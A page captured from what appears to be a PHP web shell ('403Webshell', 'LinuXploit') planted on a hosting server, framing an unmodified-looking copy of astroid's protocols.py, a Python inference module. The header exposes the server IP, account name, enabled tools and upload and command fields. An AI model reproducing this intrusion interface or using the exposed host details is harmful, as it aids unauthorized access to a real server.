403Webshell
Server IP : 66.29.132.122  /  Your IP : 3.15.31.168
Web Server : LiteSpeed
System : Linux business142.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
User : admazpex ( 531)
PHP Version : 7.2.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /proc/self/root/proc/self/root/proc/thread-self/root/proc/thread-self/root/opt/cloudlinux/venv/lib64/python3.11/site-packages/astroid/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/self/root/proc/self/root/proc/thread-self/root/proc/thread-self/root/opt/cloudlinux/venv/lib64/python3.11/site-packages/astroid/protocols.py
# Licensed under the LGPL: https://www.gnu.org/licenses/old-licenses/lgpl-2.1.en.html
# For details: https://github.com/PyCQA/astroid/blob/main/LICENSE
# Copyright (c) https://github.com/PyCQA/astroid/blob/main/CONTRIBUTORS.txt

"""This module contains a set of functions to handle python protocols for nodes
where it makes sense.
"""

from __future__ import annotations

import collections
import itertools
import operator as operator_mod
from collections.abc import Callable, Generator, Iterator, Sequence
from typing import Any, TypeVar

from astroid import arguments, bases, decorators, helpers, nodes, util
from astroid.const import Context
from astroid.context import InferenceContext, copy_context
from astroid.exceptions import (
    AstroidIndexError,
    AstroidTypeError,
    AttributeInferenceError,
    InferenceError,
    NoDefault,
)
from astroid.nodes import node_classes
from astroid.typing import (
    ConstFactoryResult,
    InferenceResult,
    SuccessfulInferenceResult,
)

raw_building = util.lazy_import("raw_building")
objects = util.lazy_import("objects")


_TupleListNodeT = TypeVar("_TupleListNodeT", nodes.Tuple, nodes.List)


def _reflected_name(name) -> str:
    return "__r" + name[2:]


def _augmented_name(name) -> str:
    return "__i" + name[2:]


_CONTEXTLIB_MGR = "contextlib.contextmanager"
BIN_OP_METHOD = {
    "+": "__add__",
    "-": "__sub__",
    "/": "__truediv__",
    "//": "__floordiv__",
    "*": "__mul__",
    "**": "__pow__",
    "%": "__mod__",
    "&": "__and__",
    "|": "__or__",
    "^": "__xor__",
    "<<": "__lshift__",
    ">>": "__rshift__",
    "@": "__matmul__",
}

REFLECTED_BIN_OP_METHOD = {
    key: _reflected_name(value) for (key, value) in BIN_OP_METHOD.items()
}
AUGMENTED_OP_METHOD = {
    key + "=": _augmented_name(value) for (key, value) in BIN_OP_METHOD.items()
}

UNARY_OP_METHOD = {
    "+": "__pos__",
    "-": "__neg__",
    "~": "__invert__",
    "not": None,  # XXX not '__nonzero__'
}
_UNARY_OPERATORS: dict[str, Callable[[Any], Any]] = {
    "+": operator_mod.pos,
    "-": operator_mod.neg,
    "~": operator_mod.invert,
    "not": operator_mod.not_,
}


def _infer_unary_op(obj: Any, op: str) -> ConstFactoryResult:
    """Perform unary operation on `obj`, unless it is `NotImplemented`.

    Can raise TypeError if operation is unsupported.
    """
    if obj is NotImplemented:
        value = obj
    else:
        func = _UNARY_OPERATORS[op]
        value = func(obj)
    return nodes.const_factory(value)


nodes.Tuple.infer_unary_op = lambda self, op: _infer_unary_op(tuple(self.elts), op)
nodes.List.infer_unary_op = lambda self, op: _infer_unary_op(self.elts, op)
nodes.Set.infer_unary_op = lambda self, op: _infer_unary_op(set(self.elts), op)
nodes.Const.infer_unary_op = lambda self, op: _infer_unary_op(self.value, op)
nodes.Dict.infer_unary_op = lambda self, op: _infer_unary_op(dict(self.items), op)

# Binary operations

BIN_OP_IMPL = {
    "+": lambda a, b: a + b,
    "-": lambda a, b: a - b,
    "/": lambda a, b: a / b,
    "//": lambda a, b: a // b,
    "*": lambda a, b: a * b,
    "**": lambda a, b: a**b,
    "%": lambda a, b: a % b,
    "&": lambda a, b: a & b,
    "|": lambda a, b: a | b,
    "^": lambda a, b: a ^ b,
    "<<": lambda a, b: a << b,
    ">>": lambda a, b: a >> b,
    "@": operator_mod.matmul,
}
for _KEY, _IMPL in list(BIN_OP_IMPL.items()):
    BIN_OP_IMPL[_KEY + "="] = _IMPL


@decorators.yes_if_nothing_inferred
def const_infer_binary_op(
    self: nodes.Const,
    opnode: nodes.AugAssign | nodes.BinOp,
    operator: str,
    other: InferenceResult,
    context: InferenceContext,
    _: SuccessfulInferenceResult,
) -> Generator[ConstFactoryResult | util.UninferableBase, None, None]:
    not_implemented = nodes.Const(NotImplemented)
    if isinstance(other, nodes.Const):
        if (
            operator == "**"
            and isinstance(self.value, (int, float))
            and isinstance(other.value, (int, float))
            and (self.value > 1e5 or other.value > 1e5)
        ):
            yield not_implemented
            return
        try:
            impl = BIN_OP_IMPL[operator]
            try:
                yield nodes.const_factory(impl(self.value, other.value))
            except TypeError:
                # ArithmeticError is not enough: float >> float is a TypeError
                yield not_implemented
            except Exception:  # pylint: disable=broad-except
                yield util.Uninferable
        except TypeError:
            yield not_implemented
    elif isinstance(self.value, str) and operator == "%":
        # TODO(cpopa): implement string interpolation later on.
        yield util.Uninferable
    else:
        yield not_implemented


nodes.Const.infer_binary_op = const_infer_binary_op


def _multiply_seq_by_int(
    self: _TupleListNodeT,
    opnode: nodes.AugAssign | nodes.BinOp,
    value: int,
    context: InferenceContext,
) -> _TupleListNodeT:
    node = self.__class__(parent=opnode)
    if value > 1e8:
        node.elts = [util.Uninferable]
        return node
    filtered_elts = (
        helpers.safe_infer(elt, context) or util.Uninferable
        for elt in self.elts
        if not isinstance(elt, util.UninferableBase)
    )
    node.elts = list(filtered_elts) * value
    return node


def _filter_uninferable_nodes(
    elts: Sequence[InferenceResult], context: InferenceContext
) -> Iterator[SuccessfulInferenceResult]:
    for elt in elts:
        if isinstance(elt, util.UninferableBase):
            yield nodes.Unknown()
        else:
            for inferred in elt.infer(context):
                if not isinstance(inferred, util.UninferableBase):
                    yield inferred
                else:
                    yield nodes.Unknown()


@decorators.yes_if_nothing_inferred
def tl_infer_binary_op(
    self: _TupleListNodeT,
    opnode: nodes.AugAssign | nodes.BinOp,
    operator: str,
    other: InferenceResult,
    context: InferenceContext,
    method: SuccessfulInferenceResult,
) -> Generator[_TupleListNodeT | nodes.Const | util.UninferableBase, None, None]:
    """Infer a binary operation on a tuple or list.

    The instance on which the binary operation is performed is a tuple
    or list. This refers to the left-hand side of the operation, so:
    'tuple() + 1' or '[] + A()'
    """
    # For tuples and list the boundnode is no longer the tuple or list instance
    context.boundnode = None
    not_implemented = nodes.Const(NotImplemented)
    if isinstance(other, self.__class__) and operator == "+":
        node = self.__class__(parent=opnode)
        node.elts = list(
            itertools.chain(
                _filter_uninferable_nodes(self.elts, context),
                _filter_uninferable_nodes(other.elts, context),
            )
        )
        yield node
    elif isinstance(other, nodes.Const) and operator == "*":
        if not isinstance(other.value, int):
            yield not_implemented
            return
        yield _multiply_seq_by_int(self, opnode, other.value, context)
    elif isinstance(other, bases.Instance) and operator == "*":
        # Verify if the instance supports __index__.
        as_index = helpers.class_instance_as_index(other)
        if not as_index:
            yield util.Uninferable
        elif not isinstance(as_index.value, int):  # pragma: no cover
            # already checked by class_instance_as_index() but faster than casting
            raise AssertionError("Please open a bug report.")
        else:
            yield _multiply_seq_by_int(self, opnode, as_index.value, context)
    else:
        yield not_implemented


nodes.Tuple.infer_binary_op = tl_infer_binary_op
nodes.List.infer_binary_op = tl_infer_binary_op


@decorators.yes_if_nothing_inferred
def instance_class_infer_binary_op(
    self: bases.Instance | nodes.ClassDef,
    opnode: nodes.AugAssign | nodes.BinOp,
    operator: str,
    other: InferenceResult,
    context: InferenceContext,
    method: SuccessfulInferenceResult,
) -> Generator[InferenceResult, None, None]:
    return method.infer_call_result(self, context)


bases.Instance.infer_binary_op = instance_class_infer_binary_op
nodes.ClassDef.infer_binary_op = instance_class_infer_binary_op


# assignment ##################################################################

"""The assigned_stmts method is responsible to return the assigned statement
(e.g. not inferred) according to the assignment type.

The `assign_path` argument is used to record the lhs path of the original node.
For instance if we want assigned statements for 'c' in 'a, (b,c)', assign_path
will be [1, 1] once arrived to the Assign node.

The `context` argument is the current inference context which should be given
to any intermediary inference necessary.
"""


def _resolve_looppart(parts, assign_path, context):
    """Recursive function to resolve multiple assignments on loops."""
    assign_path = assign_path[:]
    index = assign_path.pop(0)
    for part in parts:
        if isinstance(part, util.UninferableBase):
            continue
        if not hasattr(part, "itered"):
            continue
        try:
            itered = part.itered()
        except TypeError:
            continue
        try:
            if isinstance(itered[index], (nodes.Const, nodes.Name)):
                itered = [part]
        except IndexError:
            pass
        for stmt in itered:
            index_node = nodes.Const(index)
            try:
                assigned = stmt.getitem(index_node, context)
            except (AttributeError, AstroidTypeError, AstroidIndexError):
                continue
            if not assign_path:
                # we achieved to resolved the assignment path,
                # don't infer the last part
                yield assigned
            elif isinstance(assigned, util.UninferableBase):
                break
            else:
                # we are not yet on the last part of the path
                # search on each possibly inferred value
                try:
                    yield from _resolve_looppart(
                        assigned.infer(context), assign_path, context
                    )
                except InferenceError:
                    break


@decorators.raise_if_nothing_inferred
def for_assigned_stmts(
    self: nodes.For | nodes.Comprehension,
    node: node_classes.AssignedStmtsPossibleNode = None,
    context: InferenceContext | None = None,
    assign_path: list[int] | None = None,
) -> Any:
    if isinstance(self, nodes.AsyncFor) or getattr(self, "is_async", False):
        # Skip inferring of async code for now
        return {
            "node": self,
            "unknown": node,
            "assign_path": assign_path,
            "context": context,
        }
    if assign_path is None:
        for lst in self.iter.infer(context):
            if isinstance(lst, (nodes.Tuple, nodes.List)):
                yield from lst.elts
    else:
        yield from _resolve_looppart(self.iter.infer(context), assign_path, context)
    return {
        "node": self,
        "unknown": node,
        "assign_path": assign_path,
        "context": context,
    }


nodes.For.assigned_stmts = for_assigned_stmts
nodes.Comprehension.assigned_stmts = for_assigned_stmts


def sequence_assigned_stmts(
    self: nodes.Tuple | nodes.List,
    node: node_classes.AssignedStmtsPossibleNode = None,
    context: InferenceContext | None = None,
    assign_path: list[int] | None = None,
) -> Any:
    if assign_path is None:
        assign_path = []
    try:
        index = self.elts.index(node)  # type: ignore[arg-type]
    except ValueError as exc:
        raise InferenceError(
            "Tried to retrieve a node {node!r} which does not exist",
            node=self,
            assign_path=assign_path,
            context=context,
        ) from exc

    assign_path.insert(0, index)
    return self.parent.assigned_stmts(
        node=self, context=context, assign_path=assign_path
    )


nodes.Tuple.assigned_stmts = sequence_assigned_stmts
nodes.List.assigned_stmts = sequence_assigned_stmts


def assend_assigned_stmts(
    self: nodes.AssignName | nodes.AssignAttr,
    node: node_classes.AssignedStmtsPossibleNode = None,
    context: InferenceContext | None = None,
    assign_path: list[int] | None = None,
) -> Any:
    return self.parent.assigned_stmts(node=self, context=context)


nodes.AssignName.assigned_stmts = assend_assigned_stmts
nodes.AssignAttr.assigned_stmts = assend_assigned_stmts


def _arguments_infer_argname(
    self, name: str | None, context: InferenceContext
) -> Generator[InferenceResult, None, None]:
    # arguments information may be missing, in which case we can't do anything
    # more
    if not (self.arguments or self.vararg or self.kwarg):
        yield util.Uninferable
        return

    functype = self.parent.type
    # first argument of instance/class method
    if (
        self.arguments
        and getattr(self.arguments[0], "name", None) == name
        and functype != "staticmethod"
    ):
        cls = self.parent.parent.scope()
        is_metaclass = isinstance(cls, nodes.ClassDef) and cls.type == "metaclass"
        # If this is a metaclass, then the first argument will always
        # be the class, not an instance.
        if context.boundnode and isinstance(context.boundnode, bases.Instance):
            cls = context.boundnode._proxied
        if is_metaclass or functype == "classmethod":
            yield cls
            return
        if functype == "method":
            yield cls.instantiate_class()
            return

    if context and context.callcontext:
        callee = context.callcontext.callee
        while hasattr(callee, "_proxied"):
            callee = callee._proxied
        if getattr(callee, "name", None) == self.parent.name:
            call_site = arguments.CallSite(context.callcontext, context.extra_context)
            yield from call_site.infer_argument(self.parent, name, context)
            return

    if name == self.vararg:
        vararg = nodes.const_factory(())
        vararg.parent = self
        if not self.arguments and self.parent.name == "__init__":
            cls = self.parent.parent.scope()
            vararg.elts = [cls.instantiate_class()]
        yield vararg
        return
    if name == self.kwarg:
        kwarg = nodes.const_factory({})
        kwarg.parent = self
        yield kwarg
        return
    # if there is a default value, yield it. And then yield Uninferable to reflect
    # we can't guess given argument value
    try:
        context = copy_context(context)
        yield from self.default_value(name).infer(context)
        yield util.Uninferable
    except NoDefault:
        yield util.Uninferable


def arguments_assigned_stmts(
    self: nodes.Arguments,
    node: node_classes.AssignedStmtsPossibleNode = None,
    context: InferenceContext | None = None,
    assign_path: list[int] | None = None,
) -> Any:
    try:
        node_name = node.name  # type: ignore[union-attr]
    except AttributeError:
        # Added to handle edge cases where node.name is not defined.
        # https://github.com/PyCQA/astroid/pull/1644#discussion_r901545816
        node_name = None  # pragma: no cover

    if context and context.callcontext:
        callee = context.callcontext.callee
        while hasattr(callee, "_proxied"):
            callee = callee._proxied
    else:
        return _arguments_infer_argname(self, node_name, context)
    if node and getattr(callee, "name", None) == node.frame(future=True).name:
        # reset call context/name
        callcontext = context.callcontext
        context = copy_context(context)
        context.callcontext = None
        args = arguments.CallSite(callcontext, context=context)
        return args.infer_argument(self.parent, node_name, context)
    return _arguments_infer_argname(self, node_name, context)


nodes.Arguments.assigned_stmts = arguments_assigned_stmts


@decorators.raise_if_nothing_inferred
def assign_assigned_stmts(
    self: nodes.AugAssign | nodes.Assign | nodes.AnnAssign,
    node: node_classes.AssignedStmtsPossibleNode = None,
    context: InferenceContext | None = None,
    assign_path: list[int] | None = None,
) -> Any:
    if not assign_path:
        yield self.value
        return None
    yield from _resolve_assignment_parts(
        self.value.infer(context), assign_path, context
    )

    return {
        "node": self,
        "unknown": node,
        "assign_path": assign_path,
        "context": context,
    }


def assign_annassigned_stmts(
    self: nodes.AnnAssign,
    node: node_classes.AssignedStmtsPossibleNode = None,
    context: InferenceContext | None = None,
    assign_path: list[int] | None = None,
) -> Any:
    for inferred in assign_assigned_stmts(self, node, context, assign_path):
        if inferred is None:
            yield util.Uninferable
        else:
            yield inferred


nodes.Assign.assigned_stmts = assign_assigned_stmts
nodes.AnnAssign.assigned_stmts = assign_annassigned_stmts
nodes.AugAssign.assigned_stmts = assign_assigned_stmts


def _resolve_assignment_parts(parts, assign_path, context):
    """Recursive function to resolve multiple assignments."""
    assign_path = assign_path[:]
    index = assign_path.pop(0)
    for part in parts:
        assigned = None
        if isinstance(part, nodes.Dict):
            # A dictionary in an iterating context
            try:
                assigned, _ = part.items[index]
            except IndexError:
                return

        elif hasattr(part, "getitem"):
            index_node = nodes.Const(index)
            try:
                assigned = part.getitem(index_node, context)
            except (AstroidTypeError, AstroidIndexError):
                return

        if not assigned:
            return

        if not assign_path:
            # we achieved to resolved the assignment path, don't infer the
            # last part
            yield assigned
        elif isinstance(assigned, util.UninferableBase):
            return
        else:
            # we are not yet on the last part of the path search on each
            # possibly inferred value
            try:
                yield from _resolve_assignment_parts(
                    assigned.infer(context), assign_path, context
                )
            except InferenceError:
                return


@decorators.raise_if_nothing_inferred
def excepthandler_assigned_stmts(
    self: nodes.ExceptHandler,
    node: node_classes.AssignedStmtsPossibleNode = None,
    context: InferenceContext | None = None,
    assign_path: list[int] | None = None,
) -> Any:
    for assigned in node_classes.unpack_infer(self.type):
        if isinstance(assigned, nodes.ClassDef):
            assigned = objects.ExceptionInstance(assigned)

        yield assigned
    return {
        "node": self,
        "unknown": node,
        "assign_path": assign_path,
        "context": context,
    }


nodes.ExceptHandler.assigned_stmts = excepthandler_assigned_stmts


def _infer_context_manager(self, mgr, context):
    try:
        inferred = next(mgr.infer(context=context))
    except StopIteration as e:
        raise InferenceError(node=mgr) from e
    if isinstance(inferred, bases.Generator):
        # Check if it is decorated with contextlib.contextmanager.
        func = inferred.parent
        if not func.decorators:
            raise InferenceError(
                "No decorators found on inferred generator %s", node=func
            )

        for decorator_node in func.decorators.nodes:
            decorator = next(decorator_node.infer(context=context), None)
            if isinstance(decorator, nodes.FunctionDef):
                if decorator.qname() == _CONTEXTLIB_MGR:
                    break
        else:
            # It doesn't interest us.
            raise InferenceError(node=func)
        try:
            yield next(inferred.infer_yield_types())
        except StopIteration as e:
            raise InferenceError(node=func) from e

    elif isinstance(inferred, bases.Instance):
        try:
            enter = next(inferred.igetattr("__enter__", context=context))
        except (InferenceError, AttributeInferenceError, StopIteration) as exc:
            raise InferenceError(node=inferred) from exc
        if not isinstance(enter, bases.BoundMethod):
            raise InferenceError(node=enter)
        yield from enter.infer_call_result(self, context)
    else:
        raise InferenceError(node=mgr)


@decorators.raise_if_nothing_inferred
def with_assigned_stmts(
    self: nodes.With,
    node: node_classes.AssignedStmtsPossibleNode = None,
    context: InferenceContext | None = None,
    assign_path: list[int] | None = None,
) -> Any:
    """Infer names and other nodes from a *with* statement.

    This enables only inference for name binding in a *with* statement.
    For instance, in the following code, inferring `func` will return
    the `ContextManager` class, not whatever ``__enter__`` returns.
    We are doing this intentionally, because we consider that the context
    manager result is whatever __enter__ returns and what it is binded
    using the ``as`` keyword.

        class ContextManager(object):
            def __enter__(self):
                return 42
        with ContextManager() as f:
            pass

        # ContextManager().infer() will return ContextManager
        # f.infer() will return 42.

    Arguments:
        self: nodes.With
        node: The target of the assignment, `as (a, b)` in `with foo as (a, b)`.
        context: Inference context used for caching already inferred objects
        assign_path:
            A list of indices, where each index specifies what item to fetch from
            the inference results.
    """
    try:
        mgr = next(mgr for (mgr, vars) in self.items if vars == node)
    except StopIteration:
        return None
    if assign_path is None:
        yield from _infer_context_manager(self, mgr, context)
    else:
        for result in _infer_context_manager(self, mgr, context):
            # Walk the assign_path and get the item at the final index.
            obj = result
            for index in assign_path:
                if not hasattr(obj, "elts"):
                    raise InferenceError(
                        "Wrong type ({targets!r}) for {node!r} assignment",
                        node=self,
                        targets=node,
                        assign_path=assign_path,
                        context=context,
                    )
                try:
                    obj = obj.elts[index]
                except IndexError as exc:
                    raise InferenceError(
                        "Tried to infer a nonexistent target with index {index} "
                        "in {node!r}.",
                        node=self,
                        targets=node,
                        assign_path=assign_path,
                        context=context,
                    ) from exc
                except TypeError as exc:
                    raise InferenceError(
                        "Tried to unpack a non-iterable value in {node!r}.",
                        node=self,
                        targets=node,
                        assign_path=assign_path,
                        context=context,
                    ) from exc
            yield obj
    return {
        "node": self,
        "unknown": node,
        "assign_path": assign_path,
        "context": context,
    }


nodes.With.assigned_stmts = with_assigned_stmts


@decorators.raise_if_nothing_inferred
def named_expr_assigned_stmts(
    self: nodes.NamedExpr,
    node: node_classes.AssignedStmtsPossibleNode,
    context: InferenceContext | None = None,
    assign_path: list[int] | None = None,
) -> Any:
    """Infer names and other nodes from an assignment expression."""
    if self.target == node:
        yield from self.value.infer(context=context)
    else:
        raise InferenceError(
            "Cannot infer NamedExpr node {node!r}",
            node=self,
            assign_path=assign_path,
            context=context,
        )


nodes.NamedExpr.assigned_stmts = named_expr_assigned_stmts


@decorators.yes_if_nothing_inferred
def starred_assigned_stmts(  # noqa: C901
    self: nodes.Starred,
    node: node_classes.AssignedStmtsPossibleNode = None,
    context: InferenceContext | None = None,
    assign_path: list[int] | None = None,
) -> Any:
    """
    Arguments:
        self: nodes.Starred
        node: a node related to the current underlying Node.
        context: Inference context used for caching already inferred objects
        assign_path:
            A list of indices, where each index specifies what item to fetch from
            the inference results.
    """

    # pylint: disable=too-many-locals,too-many-statements
    def _determine_starred_iteration_lookups(
        starred: nodes.Starred, target: nodes.Tuple, lookups: list[tuple[int, int]]
    ) -> None:
        # Determine the lookups for the rhs of the iteration
        itered = target.itered()
        for index, element in enumerate(itered):
            if (
                isinstance(element, nodes.Starred)
                and element.value.name == starred.value.name
            ):
                lookups.append((index, len(itered)))
                break
            if isinstance(element, nodes.Tuple):
                lookups.append((index, len(element.itered())))
                _determine_starred_iteration_lookups(starred, element, lookups)

    stmt = self.statement(future=True)
    if not isinstance(stmt, (nodes.Assign, nodes.For)):
        raise InferenceError(
            "Statement {stmt!r} enclosing {node!r} must be an Assign or For node.",
            node=self,
            stmt=stmt,
            unknown=node,
            context=context,
        )

    if context is None:
        context = InferenceContext()

    if isinstance(stmt, nodes.Assign):
        value = stmt.value
        lhs = stmt.targets[0]
        if not isinstance(lhs, nodes.BaseContainer):
            yield util.Uninferable
            return

        if sum(1 for _ in lhs.nodes_of_class(nodes.Starred)) > 1:
            raise InferenceError(
                "Too many starred arguments in the assignment targets {lhs!r}.",
                node=self,
                targets=lhs,
                unknown=node,
                context=context,
            )

        try:
            rhs = next(value.infer(context))
        except (InferenceError, StopIteration):
            yield util.Uninferable
            return
        if isinstance(rhs, util.UninferableBase) or not hasattr(rhs, "itered"):
            yield util.Uninferable
            return

        try:
            elts = collections.deque(rhs.itered())  # type: ignore[union-attr]
        except TypeError:
            yield util.Uninferable
            return

        # Unpack iteratively the values from the rhs of the assignment,
        # until the find the starred node. What will remain will
        # be the list of values which the Starred node will represent
        # This is done in two steps, from left to right to remove
        # anything before the starred node and from right to left
        # to remove anything after the starred node.

        for index, left_node in enumerate(lhs.elts):
            if not isinstance(left_node, nodes.Starred):
                if not elts:
                    break
                elts.popleft()
                continue
            lhs_elts = collections.deque(reversed(lhs.elts[index:]))
            for right_node in lhs_elts:
                if not isinstance(right_node, nodes.Starred):
                    if not elts:
                        break
                    elts.pop()
                    continue

                # We're done unpacking.
                packed = nodes.List(
                    ctx=Context.Store,
                    parent=self,
                    lineno=lhs.lineno,
                    col_offset=lhs.col_offset,
                )
                packed.postinit(elts=list(elts))
                yield packed
                break

    if isinstance(stmt, nodes.For):
        try:
            inferred_iterable = next(stmt.iter.infer(context=context))
        except (InferenceError, StopIteration):
            yield util.Uninferable
            return
        if isinstance(inferred_iterable, util.UninferableBase) or not hasattr(
            inferred_iterable, "itered"
        ):
            yield util.Uninferable
            return
        try:
            itered = inferred_iterable.itered()  # type: ignore[union-attr]
        except TypeError:
            yield util.Uninferable
            return

        target = stmt.target

        if not isinstance(target, nodes.Tuple):
            raise InferenceError(
                "Could not make sense of this, the target must be a tuple",
                context=context,
            )

        lookups: list[tuple[int, int]] = []
        _determine_starred_iteration_lookups(self, target, lookups)
        if not lookups:
            raise InferenceError(
                "Could not make sense of this, needs at least a lookup", context=context
            )

        # Make the last lookup a slice, since that what we want for a Starred node
        last_element_index, last_element_length = lookups[-1]
        is_starred_last = last_element_index == (last_element_length - 1)

        lookup_slice = slice(
            last_element_index,
            None if is_starred_last else (last_element_length - last_element_index),
        )
        last_lookup = lookup_slice

        for element in itered:
            # We probably want to infer the potential values *for each* element in an
            # iterable, but we can't infer a list of all values, when only a list of
            # step values are expected:
            #
            # for a, *b in [...]:
            #   b
            #
            # *b* should now point to just the elements at that particular iteration step,
            # which astroid can't know about.

            found_element = None
            for index, lookup in enumerate(lookups):
                if not hasattr(element, "itered"):
                    break
                if index + 1 is len(lookups):
                    cur_lookup: slice | int = last_lookup
                else:
                    # Grab just the index, not the whole length
                    cur_lookup = lookup[0]
                try:
                    itered_inner_element = element.itered()
                    element = itered_inner_element[cur_lookup]
                except IndexError:
                    break
                except TypeError:
                    # Most likely the itered() call failed, cannot make sense of this
                    yield util.Uninferable
                    return
                else:
                    found_element = element

            unpacked = nodes.List(
                ctx=Context.Store,
                parent=self,
                lineno=self.lineno,
                col_offset=self.col_offset,
            )
            unpacked.postinit(elts=found_element or [])
            yield unpacked
            return

        yield util.Uninferable


nodes.Starred.assigned_stmts = starred_assigned_stmts


@decorators.yes_if_nothing_inferred
def match_mapping_assigned_stmts(
    self: nodes.MatchMapping,
    node: nodes.AssignName,
    context: InferenceContext | None = None,
    assign_path: None = None,
) -> Generator[nodes.NodeNG, None, None]:
    """Return empty generator (return -> raises StopIteration) so inferred value
    is Uninferable.
    """
    return
    yield


nodes.MatchMapping.assigned_stmts = match_mapping_assigned_stmts


@decorators.yes_if_nothing_inferred
def match_star_assigned_stmts(
    self: nodes.MatchStar,
    node: nodes.AssignName,
    context: InferenceContext | None = None,
    assign_path: None = None,
) -> Generator[nodes.NodeNG, None, None]:
    """Return empty generator (return -> raises StopIteration) so inferred value
    is Uninferable.
    """
    return
    yield


nodes.MatchStar.assigned_stmts = match_star_assigned_stmts


@decorators.yes_if_nothing_inferred
def match_as_assigned_stmts(
    self: nodes.MatchAs,
    node: nodes.AssignName,
    context: InferenceContext | None = None,
    assign_path: None = None,
) -> Generator[nodes.NodeNG, None, None]:
    """Infer MatchAs as the Match subject if it's the only MatchCase pattern
    else raise StopIteration to yield Uninferable.
    """
    if (
        isinstance(self.parent, nodes.MatchCase)
        and isinstance(self.parent.parent, nodes.Match)
        and self.pattern is None
    ):
        yield self.parent.parent.subject


nodes.MatchAs.assigned_stmts = match_as_assigned_stmts

Youez - 2016 - github.com/yon3zu
LinuXploit